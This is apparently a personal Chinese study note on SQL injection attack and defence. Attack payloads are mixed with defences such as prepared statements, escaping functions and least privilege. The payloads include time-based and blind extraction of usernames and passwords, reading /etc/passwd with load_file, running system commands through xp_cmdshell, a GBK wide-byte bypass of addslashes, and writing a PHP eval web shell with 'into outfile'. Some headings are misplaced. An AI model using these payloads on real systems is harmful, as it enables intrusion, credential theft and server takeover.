《sql注入攻击与防御(第二版)》:
SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku
网络资料整理:
sqlmap用户手册:http://drops.wooyun.org/tips/143 续 http://drops.wooyun.org/tips/401
--以下记录来源于《白帽子讲web安全》安全攻防之SQL注入(通过sqlmap搞定所有问题):http://www.cnblogs.com/Javame/p/3753060.html
手工注入经验总结:http://blog.csdn.net/eldn__/article/details/8203831
判断方法:
1. and 1=1 / and 1=2
利用技巧:2.mysql 中 id=1 and sleep(5) #延时注入
3.mysql 中 benchmark(100000,encode(‘abc’,‘abc’)#延时注入
防御:1.mysql中常用的函数 database() system_user() current_user() last_insert_id()
2.写入一句话:select "<?php eval($_POST[1]);?>" into outfile "网站绝对路径"
3. id = 1 and substring(@@version,1,1)=54. id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>645. id = 1 union select 1,1,load_file('/etc/passwd')6. mssql中利用存储过程执行系统命令 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'7. 数据库编码若为gbk 会把识别0xbf5c,addslashes会把 0x27变成0x5c27,那么构造payload 0xbf27,即可插入单引号注入。8.sql column truncation是因为定义column长度varchar时值太小,若STRICT_ALL_TABLES开启,那么可以插入 溢出部分不同 的值会成功。
1.1预编译:绑定变量,不能改变sql的语义(也交参数化查询)
php中$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);
1.2使用存储过程,调用存在数据库里的函数。
1.3设置变量的值,比如固定为integer
1.4使用定义好的安全函数来转义。
1.5设置数据库用户的最小权限。
2.1php中的过滤函数:
php.ini magic_quotes_gpc 开启的话,输入的字符串会被转义,多加一个\
若没有开启magic_quotes_gpc,用addslashes(),强制在单引号上加\(可能将0xbf27 变成0xbf 5c 27,如果数据库是gbk,会识别0xbf5c,统一编码即可解决)
mysql_real_escape_string() 考虑字符集
mysql_escape_string() 不考虑字符集 ( php5.3已经弃用)